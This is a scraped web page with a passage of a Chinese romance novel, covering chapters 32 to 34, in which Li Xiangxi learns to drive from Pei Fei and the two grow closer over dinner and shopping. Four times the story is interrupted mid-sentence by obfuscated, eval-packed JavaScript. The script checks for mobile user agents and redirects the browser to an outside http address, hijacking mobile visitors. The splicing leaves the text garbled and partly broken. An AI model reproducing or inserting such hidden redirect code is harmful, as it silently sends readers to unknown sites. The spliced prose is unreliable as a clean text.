RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968128|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很悠闲,黎向浠想,应该是他对车子内部的熟悉程度已经到了信手拈来的地步,而且在高度紧张的赛车比赛里摸爬滚打这么多年,在平时的道路上,简直就是新手村,所以才那样随意。 他身上的沉木味道在车厢里浓厚起来,很好闻。 到底是哪里来的味道呢? “看路。”裴非说,打断她的思绪。 黎向浠愣了一下,紧急收回眼神。 他刚刚明明没有看镜子啊,怎么会知道她没看路的? 黎向浠拧眉,百思不得其解。 裴非瞥了她一眼,匿笑道:“没学会开车,已经学会分神了。” 黎向浠抿嘴,一股上课分神被老师抓现行的惭愧感。 开车渐入佳境,黎向浠的身体放松下来,裴非不需要再指导她什么,话也就慢慢变少。 车厢再次掉入沉寂。 最后一圈,裴非说:“开回老宅,熟悉几天再上路。” 黎向浠以为今天裴非就会让她开去市区的。 “对别人的生命负责。”裴非这样说她。 黎向浠本来想说他在副驾驶,不怕的,听他这样说,她又点点头。 确实,还是负责些好。 车子临近老宅,车内又安静下去了,只剩空调声响动,开久了,黎向浠手臂有些发酸,但也不敢松开方向盘。 “其实你挺适合当一个驾校教练的。”黎向浠找了个话题。 裴非掀起眼皮,一副等她继续的样子。 黎向浠:“你说的都很详细清楚,而且很有耐心,又不会凶,学生学起来肯定很快。” 裴非眉头微挑,“也不是对谁都有耐心。” “嗯?”黎向浠一怔。 已经到老宅院子里,车子行驶速度很慢,因为这句话,她一个分神踩下刹车,踩停了车子。 刚刚裴非说,他不是对谁都有耐心。 那为什么对她有耐心? 黎向浠耳垂又开始发烫了,心跳也是。 黎向浠不敢去猜,也不敢转头,她抬眼,看向反光镜,试图从那里找到裴非的关键信息。 裴非只是解下安全带,打开车门,冷冷扔了一句:“脑子一乱脚就不听使唤,比如你现在,这就是主刹车的重要性。” 他下车离开,给她留了一个冷漠的背影。 黎向浠松下一口气,想多了想多了,裴非刚刚只是给她反面教学,差点以为裴非对她…… 自恋。 黎向浠这样总结自己,然后把车子开进车库。 这是裴非给她的任务,去车库把倒车入库和侧方停车练习到闭眼都能停。 红色的法拉利带着嚣张的引擎声,却一下一下在车库徘徊,像个迷路的小可怜。 学了几轮之后,黎向浠觉得差不多了,便准备再熟悉熟悉别的操作,比如中控台,蓝牙,导航这些,反正以后她得用到。 况且,裴非以前用过这辆车,里面或许会放一些他的东西,她能顺便帮他收拾好拿回老宅去。 不过裴非整理得很干净,或者说他本来就很爱干净,除了纸巾这些零碎不用拿走的东西,没有任何私人物品,也没有任何需要丢的垃圾。 黎向浠解开安全带,准备下车的时候,在中控台的箱子底下不易察觉的角落,翻出了一张卡片。 疫苗注射卡片。 和她的卡片差不多,日期在她前不久,不过注射的地址不同,上面还写了裴非的名字。 - 32. 拆穿他 为了答谢裴非的教学之恩,晚餐的时候,黎向浠煮了鱼和山城特色的毛血旺,怕裴非吃不惯,她打算煎了牛排。 只是她厨艺不算好,掌握不了火候,于是在煎之前,她去敲了裴非的房间门。 门打开,裴非站在那里。 刚洗漱好,穿着居家的宽松黑色休闲服,头发湿答答,皮肤水汽氤氲,水滴沿着他鼻梁滑落,挂在脸颊旁边,身上淡淡的沐浴露味道,清清爽爽。 他薄唇微张,眼神有些湿润地看她。 黎向浠身子微怔,一时间说不出话。 这样状态下的裴非,多了几分慵懒,充斥着一股他们住在一起很久了的松弛,似乎没有把她当外人。 “怎么?”裴非问。 他垂头,手指揉了揉前额碎发,细细的水珠飘散,有两滴落在黎向浠鼻尖,冰冰凉凉,还有洗发水淡淡的清香。 黎向浠皱了皱鼻子,挪走眼。 “噢……那个……我要煎牛排……但不太熟练……你……会吗?” 她断断续续,眼神跟做贼一样,悄悄落到裴非脸上。 头发揉碎后,他看上去率性又清爽,有几根扎在他眼皮上,他就半眯着眼睛,和她点头。 “嗯,稍等。” 从红木门口下到厨房,黎向浠用食指刮了刮自己的鼻尖,上面还有裴非留下的水渍,看着它们,她心情乱七八糟的。 又开始了,每次裴非对她的态度稍稍好一点,她就忍不住想一些越界的关系,但裴非看上去很正常,并没有说什么过分的事情。 黎向浠看着自己的手机,手机壳后面是她从法拉利上拿下来的疫苗注射卡片,裴非的。 她一开始以为小碳没有挠裴非,现在看来,他们是一样的,连时间都差不多。 对,裴非其实每次对自己好,都是因为他们是同类。比如让小碳留点肚子,吃她喂的火腿,也是因为他们都希望能投喂小碳,都被小碳挠过而已。 这样想,胡思乱想的情绪被压下来,黎向浠释然地呼气,松下肩膀。 呼气声在厨房回荡,紧接着就是裴非干脆的脚步声。 “怎么?” 他走到牛排的位置问她。 裴非头发吹干了,发质很好,刚洗过的柔顺蓬松,看上去没有那么压抑了。 “啊?噢,没有,因为不会煎牛排,所以觉得沮丧。”黎向浠眼神飘着,坐到他前方餐台的位置上。 “也不用非得是牛排。”裴非垂头忙碌,平平回她,压根没发现她心虚的表情。 裴非很娴熟地用厨房纸将牛排压出血水,然后在上面撒上调料,放到一边腌制。 黎向浠就这样看着,她并没有记步骤,而是在思索,裴非怎么会做菜? 裴非的豪车排成排,抛开沈家给他的,他自己赛车上的成绩,就决定了他不需要为一日三餐思索,饿了就会有人端到嘴边。 但他分明很娴熟,裴非分得清所有的调料和用量,下手比她还干脆。 “你怎么会做菜呢?”黎向浠直接问出口。 裴非切配料的手停了一下,眼神滑过她又回到案板上,“无聊学的。” 如果是以前,黎向浠会觉得裴非在敷衍她,但现在,知道裴非身世之后,黎向浠深信不疑,毕竟她无聊的时候,做的事情更离谱,比如故意绕路去买菜。 “那看来我们很像,倒也是很适合做朋友。”黎向浠笑着往前撑手,眼睛亮晶晶看向裴非。 裴非没有回答她这个问题,他将平底锅架到她不远处的灶台,漫不经心说:“往后点,热油。” 黎向浠立刻听话后退。 沾满调味料的牛排放入锅里,白雾四起,呲呲声响彻厨房,裴非用夹子在旁边放入切好的配菜,不一会儿,肉香味缓缓飘出。 黎向浠吸吸鼻子,很给面子。 她手机震了震,只是个垃圾短信罢了,不过这让她想到手机壳里的疫苗卡了。 心血来潮,黎向浠俏皮问:“你真的没有打过狂犬疫苗吗?” 上次问还撒谎,现在被抓现行了,她想逗逗他。 裴非勾了勾嘴角,鼻腔轻哼,“至少我不怕打针。” 他又没有回答她的问题。 牛排出锅,黎向浠帮忙端着盘子去到餐桌,裴非在后方洗手,眼神饶有意味瞟了她一眼。 裴非知道黎向浠为什么要问狂犬疫苗,他也是回了房间才想起,上次注射的卡片落在法拉利车里了,按照她的好奇程度,应该会把车里翻个遍。 晚餐。 主食是牛排,菜是水煮鱼和毛血旺,奇怪又诡异的搭配,黎向浠却吃得津津有味。 因为裴非手艺很好,她想,以前自己不太爱吃这些,可能是因为吃到路边便宜的,手法又不正宗的牛排了。 味觉得到满足,黎向浠心情大好,于是也口无遮拦起来:“我今天下午学得怎么样?是不是上手很快?我是你最聪明的学生了吧?” 她身子往前探,像是小孩,急切地要得到肯定。 裴非掀起眼皮,眸光涟起笑意,意味不明地“嗯”了一声。 知道裴非话不多,夸不出什么水花,但只要他认可她说的话,黎向浠便喜笑颜开了。 “不过,我也只教过你。”裴非又补充。 这话,黎向浠后背像是长出一对小巧可爱的天使翅膀,旁边还闪着星星,开心扑棱着。 “那我是裴老师的唯一了哟!”她带着有些油渍的嘴角笑开花。 裴非抓着叉子的手紧了紧,没有看向她,也没有回答。 从那首歌到现在,裴非开始怀疑,黎向浠这人在感情方面过于神经大条了,似乎不太能分得清轻重,所以说出的话总是带着两种色彩,她自己并没有发现。 黎向浠确实没有发现,她还在美滋滋咬一口牛排里的小番茄。 让裴非多说点话的目的达成了,接下来,就是让他慢慢适应正常朋友的生活了,比如一起去做什么。 不用猜就知道,裴非跟许子炀玩的话,肯定都是喝酒。 于是,黎向浠想到了那天,她一个人逛街的画面,反正裴非现在没有女朋友,陪她逛逛街也不过分吧?又能解决她的问题,又能让他尝试一下和别人的交流。 “裴非你有没有想买的衣服啊?”黎向浠含着小番茄问他。 听得出她想要买,裴非语气平平说:“你不是有了吗?” 不是有了吗?沈推凡给的。 黎向浠听出来他话里有话了,但没有品出里面的酸味,她以为那是嫌弃,嫌弃沈推凡的。 “可是我不喜欢那些,不适合我,所以其实我就拿了一套,打算回来压箱底的。” 黎向浠用手捂在嘴边,小声说:“你可不要告诉他噢。” 这一下,逗得裴非忍俊不禁,他抿了抿唇线,不自觉又勾了勾嘴角。 后来的两天,黎向浠每天定点打卡一般,开着法拉利绕别墅区转圈,裴非一直早出晚归去基地。 黎向浠发现,裴非似乎有点躲着她的意思,害怕她提到去逛街。 这天,万里晴空,秋风微燥,到了约定好她开车,裴非坐在副驾驶上路的日子。 裴非依旧早起,比往日早出门,要上车去基地。 “嘿!裴非!”黎向浠一下蹦到裴非跟前,挡住驾驶座的车门,“我已经自己开了好几天了,可以上路了吗?” “在忙,你再开几天。” 裴非两只手指捏着她衣袖拽到一边,上车离开。 忙?基地又不是只有他一个人,怎么忙碌这么久?而且今天不是周末吗?基地不放周末? 尽管黎向浠有怀疑,但裴非说的,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984187|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是相信的。 于是,她撇撇嘴进了客厅,在沙发上百无聊赖看着恐怖小说,吃了个午饭继续看,看到犯困,又睡了个午觉,下午两点钟又醒来,看着空落落的房子,黎向浠沉沉叹了一口气。 好无聊啊…… 想去逛街,倪婷又跟老公回了老家,方统自己做生意,工作忙,白天基本不可能出门。 黎向浠翻了个身趴在沙发上,拿出手机刷朋友圈。 许子炀半个小时前发了一条朋友:【谁在?上号。】 配图,电脑桌面,装备高端。 黎向浠:? 不是说基地很忙吗? 黎向浠点开许子炀微信:【哈喽隋炀帝,你今天不上班吗你】 过了十分钟许子炀才回:【哈喽爱妃,刚刚结束一盘大战,才有空看手机。】 许子炀:【不上啊,今天周末,我可不是什么黑心资本家。】 黎向浠:【整个车队都不上吗?】 许子炀:【不一定,队员还在训练,怎么?你对赛车感兴趣?要加入?】 黎向浠听出他是在开玩笑,发过去两个哈哈表情包。 许子炀:【你是想问裴非吧?】 黎向浠猛地从沙发爬起来。 许子炀怎么知道? 许子炀像是她肚子里的蛔虫,快速发过来一句:【我怎么知道?我猜上次向馨欣看见的,跟裴非在大马路上亲嘴的人是你吧?】 亲嘴?向馨欣是这样传达的? 黎向浠脸颊蓦地泛红,她思索一番,于是憋着气赌一把,回:【裴非跟别人在街上亲嘴?什么时候?我印象里,他好像不是这样的人的吧。】 许子炀:【真不是你啊?】 黎向浠如释重负呼出一口气,果然是许子炀在诈她。 许子炀发过来一张照片,是他跟裴非的合照,许子炀对着镜头搞怪比耶,裴非一身黑靠在电竞椅上。 休息室光线明亮,装饰有一种未来科技的味道,黎向浠放大裴非的脸。 他没有戴帽子,白皙的皮肤衬得冰冷无情,他是闭着眼的,抱着手,似乎在休息,安安静静,却轻而易举成为整张照片的重心。 不是说很忙?果然是在躲她。 黎向浠理解,裴非应该不喜欢逛街,这些天,虽然他天天出门,但也是天天去的基地。 但她逛街的那天,裴非不也是去了购物商城附近嘛,她想知道是裴非自己去的,还是车队一起的,如果是自己去,那就说明,他还是能接受的。 黎向浠:【你们车队上次去购物商城附近做什么?】 许子炀:【车队没去过啊,一直在基地训练。】 黎向浠:【那是裴非自己去吗?】 许子炀:【更不可能,车队训练一直都是他在跟,没训练的时候,他就窝在休息室,比如现在。】 黎向浠:【可裴非前几天还跟我说在那边呢。】 许子炀:【是不是你老发信息,他嫌你烦了,骗你的?】 黎向浠:…… 许子炀的推断是有理有据的,这段日子裴非看手机的频率明显提高了。 “哎,”许子炀碰了碰裴非肩膀,“你前几天骗浠浠宝贝说你在购物商城附近了?” 裴非蓦地睁眼,“你和她说什么了?” 许子炀眼神疑惑,转而变成八卦,看来还真是裴非骗了她。 许子炀看热闹似的挑眉,忍不住笑声说:“我说你骗她的噗哈哈哈哈。” “还有呢?” “还说你现在很闲。” 裴非拧眉,抓起桌边的帽子往门外走。 “喂?你真在躲她啊?为什么?她多可爱啊,都问到我这儿了。” “闭嘴。” 裴非摔门而出,准备去逛那该死的街。 - 33. 他沦陷 裴非从电梯出来,走向无人的地下停车场,那里黑压压,跟着他的脚步,声控灯才慢慢沿路亮起。 正巧,手机震动,他停下脚步,点开信息。 黎向浠:【我有透视眼,能看见你在做什么,信不信?】 裴非觉得有趣,他鼻腔轻哼,放缓了脚步,回:【不信。】 黎向浠消息继续:【好,那我说,你不准撒谎。】 裴非:【嗯。】 黎向浠:【你现在在基地。】 裴非眉头微挑,【这算透视眼吗?】 黎向浠:【还没到呢,别打岔。】 裴非忍俊不禁,干脆停下脚步回:【好。】 黎向浠:【你现在没有在上班,而是在休息室偷懒,对不对?】 裴非:【不对。】 黎向浠:【那我猜,你是准备去训练场,要假装忙碌。】 裴非看一眼掌心的车钥匙,哂笑回:【再猜。】 黎向浠的消息似乎带着脾气弹出来:【你撒谎!】 跟着一起来的还有一只小猫抓狂表情包,白灰色相间的小奶猫,脑袋圆圆的,在被子上打滚。 配字是抓狂,看上去分明是撒娇。 和她挺像的。 裴非勾了勾嘴角:【不猜了?】 裴非没有发现,到现在为止,他和黎向浠说的都是毫无营养的对话,他以前最讨厌弯弯绕绕,两句话没有直奔主题,他就会选择无视。 黎向浠似乎泄了气,开始摊牌:【你不能说话不算话,说好的今天带我上路的,你还说了,我是你最优秀的学生,我这么优秀,可以上路了,不用再学了。】 裴非如实说:【我没说,是你自己说的。】 他那晚只是说,她是他唯一带的学生,毕竟这种情况的教学,他一般不正眼看。 黎向浠:【你不帮我,我就自己开去市区了噢!小猫威胁/jpg】 裴非笑了:【嗯,去吧。】 黎向浠:【我真的去了哟!】 裴非火上浇油:【嗯,加油。】 黎向浠:【是你的车噢!法拉利呢,它会掉进沟里的哟!】 裴非:【我会捞出来的。】 黎向浠:…… 消息页面沉寂了一会儿,裴非以为对面没辙了。 正要结束这乱七八糟的对话,一个视频噔地发过来。 是黎向浠从沙发坐起,穿上拖鞋,车钥匙勾在手指上晃悠,脚步嚣张往车库走。 嘴上没有什么攻击力地说:“我真的去了哟,你的豪车可能要被刮花了,不心疼吗?看!” 又刻意把车钥匙展示给镜头。 裴非看着那个视频,脑补她那双藏不住事的眼神,一定是满含期待,水汪汪地说:你快点回来,我自己不敢。 但嘴巴永远倔犟。 裴非看了三遍。 直到地下停车场的声控灯熄灭,周围陷入一片黑暗,手机上刺眼的聊天记录清晰无比,裴非突然从奇怪的氛围里抽离。 他刚刚一直在笑,还会脑补黎向浠说那些话的语气。 像是事中没尽兴,但突然抽离,一股烦人的空虚感。裴非脸色沉下去。 黎向浠:【你快点回来啊!我真的想去!】 裴非咬咬牙,面无表情发过去:【明天。】 他关上手机,拿出烟和打火机。 金属咔哒一声,淡青色火苗成了黑暗里的唯一光源,照得那双薄长眼睛里,混乱的眸光明明灭灭。 打火机的火光褪去,黑暗里只剩猩红的烟,一下一下燃烧,从热情到化为灰烬,如同吸烟者慢慢冷却的心。 任由口袋里的手机再震动,主人也没有打开过。 另一边。 黎向浠演完从客厅去车库要独自一个人上路,以此威胁裴非的戏码,又返回客厅,抱着靠枕,朝安静的手机哀嚎。 “你怎么能说话不算话呢?逛街怎么了?逛街多好玩啊,干嘛躲着我?我是什么很可怕的人吗?” 这并不是语音,她还不敢发这类语气很冲而且带有明显抱怨色彩的语音。 她发过去的是:【但我不想要明天,我就想今天过去!】 她脑补的是自己软糯糯的声线,害怕裴非觉得文字冷冰冰,她又挑了一个小猫作揖的表情包。 尽管如此,她等了半天,聊天页面安安静静,也没有正在输入字样。 黎向浠耐心抵达极限,她拿起手机,指着裴非的备注,“给你三秒钟,不回复我,我就真的自己去了,3、2、……” 没等数到一,黎向浠已经预料到结果,她将手机撂到桌子上,气鼓鼓说:“不回复就不回复!就算你明天带我出去,我也不会去了!” 黎向浠也没发现,她对裴非的说话方式,逐渐往撒娇方向走,以及,面对裴非的拒绝,她开始上心了。 以前她不管说什么,大概率都会收到裴非冷冷的“不”,她并不觉得有什么,只觉得裴非有自己的习惯,互相尊重罢了。 但现在,面对裴非明晃晃的拒绝,黎向浠心情有些低落,像是发现在他心里,她没达到自己想要的位置那样惆帐。 黎向浠靠在沙发上,撇嘴,眼神没有聚焦地看着对面电视墙。 时间一分一秒过去,太阳从窗户照进来,越过空气中飘着的细小的尘埃,温温柔柔落在黎向浠乌黑的瞳孔上。 她眨巴眼,打了个哈欠,困意的眼泪从眼尾滑落。 索性,黎向浠翻开小说,盖在脸上,挡住阳光,视线进入一片模糊的灰色。 她抱着手闭眼,准备用睡觉打发时间。 窗外有动物在鸣叫,风吹树叶唰唰作响,年久的木家具偶尔咔哒一声,不知道为什么要响。 黎向浠闻着厚重的书本味道,在书本后方眨巴眼,卷翘的睫毛刮在纸张上,窸窸窣窣。 她觉得好玩,于是变换着眨眼频率,还试图用这个声音演奏那首“一闪一闪亮晶晶”,结果玩得眼皮发酸,黎向浠被自己逗得嘎嘎笑。 笑累了,她就开始放空发呆。 不知道过了多久,院子里传来一阵引擎声。 裴非回来了。 黎向浠以为是她发呆太久了,裴非已经下班了,但她还没有想好晚餐吃什么。 索性,她不打算弄晚餐了,反正裴非自己会煮,而且他还对她食言,让他自己弄就行。 当然,如果他有点良心,帮她一起弄了也可以。 所以黎向浠没有搭理从院子走进客厅的脚步声。 直到眼前的书本被人拿开,那道西沉的余晖依旧落在她瞳孔上,刺激得黎向浠紧急眯了一下眼睛,这才发现,好像没过去多久,那道阳光只是比刚刚矮了一些,颜色深了一些罢了。 当然,没也到裴非下班的时间。 黎向浠抬着眼神,一副“做什么?”的表情审问他,其实眨巴的大眼里还是带着委屈。 裴非脸上浮出一阵无奈,他将书本搁到桌上,居高临下看着她,平平说:“不是要上路?” 黎向浠转走脸,用力抱手,“不去了,反正你也不想去。” 旁边的人没有回答。 等了半分钟,还是一阵沉默,黎向浠莫名心虚,她偷偷转动眼珠,往旁边瞥过去。 其实裴非一直没什么表情地盯着她,因为地下停车场他像是鬼上身的那段微信对话,在回来的车上,裴非已经告诉过自己,分清楚身份,帮她就行,别的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996988|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要多想。 但黎向浠刚刚那个眼神,悄咪咪跟做贼一样,被他抓了个正着,又惺惺转走,脸颊上的肉鼓动,像是害羞的章鱼小丸子。 这让他眼底无奈的笑意有些憋不住。 裴非克制着嘴角转头,拿起桌上的法拉利车钥匙往门外走。 “车上等你。”他这样冷冷说。 黎向浠立刻转身,看着他逆光走远的背影,觉得他好像给了她台阶,但这个台阶不够明显,她还要补偿。 “喂裴非!你刚刚骗我,我还没有气消,除非你答应待会儿听我的,我才跟你一起去。” 黎向浠也不知道自己哪里来的勇气,这样和他商量。 说完她就后悔了,裴非的性子,应该不喜欢别人这样,带着一丝“威胁”的意味和他说话。 况且,学车这件事,受益的分明就是她,人家已经用休息时间陪她学了,她还在这儿上纲上线。 可话都说出口了,又没办法撤回,黎向浠绷着唇线。 裴非走到门口,似乎是因为没听到跟上来的脚步声,他停下来,回头。 看见黎向浠一脸为难,他云淡风轻说:“好。” - 法拉利迎着落日余晖,开在京北不算拥挤的车道上,周末的傍晚,没有下班高峰期,车辆比平时少了许多。 车厢内,两边窗户放下,微凉的晚风灌进来,清清爽爽。 裴非手肘撑在车窗处,抵着太阳穴,帮她看着前方路段,时不时提醒她该走哪条道路,一些诡异的红绿灯,他也会提醒一两句。 黎向浠全神贯注着,丝毫不敢懈怠。 等熟悉了之后,车厢就安静下来,无人说话了。 一个红绿灯路口,黎向浠按下播放键,车载音响传出一首首曲调轻快的小甜歌,她的表情也渐渐从紧绷变得自然。 黎向浠已经完全适应了,毕竟摸索了三天,只是缺一个实战体验罢了。 导航播报,前方路段向右转弯。 黎向浠却打下转向灯,停在左转车道,等红绿灯。 裴非瞥了她一眼。 “你说的,要听我的。” 黎向浠自然知道他疑惑什么,不由分说,红绿灯一过便直奔目的地。 车子停在一家繁华的购物中心前,黎向浠下车,裴非也跟下来,他帽子压得很低,几乎盖住整张脸。 尽管如此,他身形高大,比例优越,在人群里还是很惹眼,依然有不少目光看过来。 黎向浠看得有些心疼。 就算是F1冠军,也不需要这样隐姓埋名,但裴非除了这个,还有另一个身份。 她查过,裴非的百度百科资料里,跟沈家没有任何关系,同时也显示,他从未回过国。 所以黎向浠想,应该某些原因,让裴非不能在国内露面。 或者说,他要躲的根本就不是粉丝,而是另有其人。 一辆私家车开过来,要停在他们旁边,但停车场满了,位置很小,基本得挨着,黎向浠站在车内附近,还在出神,没有看见。 裴非拽过她手臂,“发什么呆?” 黎向浠反应过来的时候,她已经到了裴非怀里了,前面是别人的车,后面是法拉利,只有这样站着才有空间。 他的呼吸被帽檐压着,全数打在她脸上,黎向浠不知道他有没有低头看她,只知道他们离得很近。 周围明明脚步混乱,人声嘈杂,车笛此起彼伏,她却清晰听到了一阵不该属于自己的心跳声。 噔噔、噔噔、噔噔…… 热烈难捱。 车主下车,朝他们笑:“在车位上发呆很危险,刚刚按喇叭你都没听见,幸好你男朋友体贴。” - 34. 他失控 地方菜餐厅人不多,每张桌子有栅栏隔开,隐私性不错。 黎向浠和裴非面对面坐下。 裴非帽子压得很低,不是因为害怕别人认出来,这里除了服务员,没有别人了。 而是不想跟黎向浠对视。 停车场大哥打趣他们是男女朋友,黎向浠明确说,他们不是那种关系。 但大哥并不相信,眼神绕有韵味看着抓在黎向浠胳膊上的裴非的手,点头如捣蒜说:“懂,年轻人都爱这样撒谎,偶尔还对外人开玩笑说你是他嫂子。” 有些玩笑是玩笑,有些玩笑是真心话。 黎向浠愣住了,她下意识说:“我真是他嫂子。” 大哥不信,所以笑得更开心了,他一边走一边无奈摆手说:“那行吧,那就祝小兄弟跟嫂子玩得开心。” 这句话像是某种咒语,在两个之间隔起一道灰蒙蒙的屏障,从停车场讨论吃什么,再到选餐厅,然后到坐在餐厅里,两个人眼神就没有对视过,好像突然陌生了那样。 黎向浠从来没有哪一刻这么感激过裴非的鸭舌帽,它能物理阻挡他们的视线。 服务员递过来菜单,礼貌说:“今天双人情侣套餐有活动,两位需要看一看吗?” 哪壶不开提哪壶。 黎向浠怯怯地看向裴非,正巧,裴非似乎也因为错愕抬头看向她,四目装了个正着。 顿时,像是触电,双方又悄无声息弹开,黎向浠身子麻了一下。 “啊……那个那个……不用……我们点一些就行哈哈哈哈……”她硬着头皮转移话题,不再去辩解。 菜单一人一本,两个人默契又无声地在上面指着想吃的菜,服务员一个一个记下来。 等他们点完,服务员忍不住笑出声。 “二位,要不还是选情侣套餐吧,你们点的正巧就是套餐里面的菜品,一模一样,还能优惠。” 黎向浠“啊?”了一声拿过拿菜单,仔细查看,还真是一模一样,对于这个巧合,她心如死灰,嘴巴张了又合,愣是不知道要拒绝还是接受。 “这样上吧。”裴非开口,不再纠结什么情侣套餐不套餐。 服务员离开,气氛掉入冰点。 “那个……你要不脱了帽子吧,这里没有人……”黎向浠小声说。 要吃饭了,帽子还扒在脸上,黎向浠看着都替他难受。 裴非居然很听话地脱下来,手指揉一揉头顶,头发蓬松起来,那张白皙好看的脸跃然眼前。 裴非抬头,淡漠的眼神投来,黎向浠迅速转走脸。 黎向浠想,一定是光线太亮,导致裴非的五官太过清晰,让她一看就觉得,好像冲到她眼底了那样,心脏框框撞着胸口。 她往里面挪眼。 却听到身边传来一阵稚嫩的脚步声,“姐姐买花吗?” ? 黎向浠转回来,一个绑着两个麻花辫的小女孩,跟她坐着的时候一般高,抱着一筐深红色的玫瑰花,站在她旁边。 “姐姐这个是我自己种的花,你要买吗?”小姑娘往她怀里凑了凑。 “我……” 黎向浠还没开口,小女孩转头看向裴非,“大哥哥,你给姐姐买一朵花吧?” “我…哎?” 见小女孩问了裴非,黎向浠立刻想说她买,结果小女孩扭头就跑去裴非身边,篮子蹭在裴非胳膊上。 “大哥哥,姐姐那么漂亮,你给姐姐买一朵漂亮的玫瑰花吧!姐姐一定会很开心的!” 裴非手指蜷了蜷,抬眼看向黎向浠。 黎向浠无声摆手,口型几乎哀嚎说:不用不用,我自己解决! 小女孩眼睛圆碌碌看着裴非,她的眼型跟黎向浠很像。 就像那晚黎向浠被关在门外,坐在门槛上,抱着向日葵,眼睛亮晶晶看着他一样。 裴非咬了咬牙,“这些,全部。” 黎向浠瞳孔扩张,一时间不知道要说什么,心情烦糟糟的。 本来今晚被误会的就多,现在加一大把玫瑰花,生怕别人不误会那样。 等火红的花束到了怀里,黎向浠又不觉得烦了。 花开得很艳,花瓣大而厚,一片裹着一片,确实是刚刚摘下来的,很有生命力,没有多余的包装,只是简单的透明皮筋扎一扎,居然比外面装饰过的还要好看。 黎向浠看着它们,忍不住咧了咧嘴角。 “我第一次收到这么多花。”黎向浠鼻尖凑近花瓣,整张小脸埋进去,声音欢欣撞在花蕊里。 裴非看过去,女生胸前一大束花,像是落进了花海里。脸颊不知道是花染的,还是她真的羞涩,有一抹高原红一般的晕染,卷翘的睫毛一下一下刮在花瓣上,似乎爱不释手。 她说第一次。 他们有好多第一次。 裴非咽了咽口水,不自觉勾起嘴角。 “待会儿可以去买花瓶。”裴非接话。 “真的吗?”黎向浠抬眼。 这次似乎两个人都适应了这样的氛围,谁都没有躲避。 裴非轻轻颔首。 黎向浠的笑容就在他眼底绽放,比花还要艳。 “我还以为你不愿意陪我去逛!”黎向浠笑着,皱了皱鼻子。 她爱死这束花了,裴非愿意陪她去逛街了! 晚餐在玫瑰的衬托下,气氛微妙又不别扭,两个人似乎开始接受今晚莫名其妙的巧合那样。 去前台结账的时候,工作人员说,给他们按照情侣套餐的价格算。 裴非没有拒绝。 小票落到手里,上面写着“情侣套餐”四个字,他折叠在掌心,衬黎向浠抱着花束步履轻快往前走的时候,揣进口袋。 昂贵的服装店,黎向浠给裴非挑了一套又一套,裴非换到最后,朝她摇头,黎向浠却反手将他推进换衣间,继续给他扔衣服。 同时,黎向浠也选,她进去换,出来就问裴非好不好看,裴非薄唇微动,黎向浠立刻意会,重新找新的。 最后还是裴非给她挑的外套和裤子,看上去轻便活力。 结账时,黎向浠拿着手机屁颠屁颠过去,裴非让她去给他挑一顶帽子,黎向浠真就去了。 回来的时候裴非已经结好账,带着微微笑意说:“走吧,帽子不要了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009968|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黎向浠耸耸肩,老板调侃黎向浠真幸福,黎向浠朝老板笑笑,不辩解,后脚跟上裴非脚步。 挑选花瓶,黎向浠找到一个类似礼帽一样的瓶子,她踮起脚尖,要扣到裴非脑袋上。 但裴非太高,他往后一躲,黎向浠就扑了个空,裴非顺势圈住她手腕,将她挪到自己跟前,把瓶子扣到黎向浠脑袋上。 黎向浠眼睛被挡住,她呲着大牙嘎嘎笑,她不知道,裴非其实悄悄拿出手机,拍了一张照片。 挑了一个玻璃花瓶,黎向浠将花束放进去,抱在胸口,跟在帽子压得很低的裴非身后,他手上还拎着好几袋衣服,惹得路人纷纷回头。 但两个人谁都不觉得害羞,反而各自笑着。 裴非走得快,黎向浠一会儿就得小碎步跟上去,他偶尔会故意加快脚步,就为了听她仓促追赶的脚步声,还有她嘟囔的抱怨。 “腿长了不起啊,慢点,我都跑累了。” 裴非鼻腔出气,停下脚步,她又撞上他后背,裴非笑出声。 抵达停车场,黎向浠拦在裴非跟前,仰头皱着鼻子说:“回去你开好不好?我刚刚吃太多了,好困哦~” 声音糯糯的,带了点撒娇的意思。 停车场光线很低,但黎向浠正对光线,即使裴非挡在跟前,可爱的脸颊也没有被黑夜吞噬。 裴非咽了咽口水,形状性感的喉结滚动着,偏走脸。 黎向浠转动小脑袋追过去,“好不好嘛?” 她垫脚,将钥匙撒娇地滑在他帽檐上,发出咔咔的声音,眼神压着看向他,当做是威胁。 兔子威胁大灰狼。 裴非眉头很浅地挑了一下。 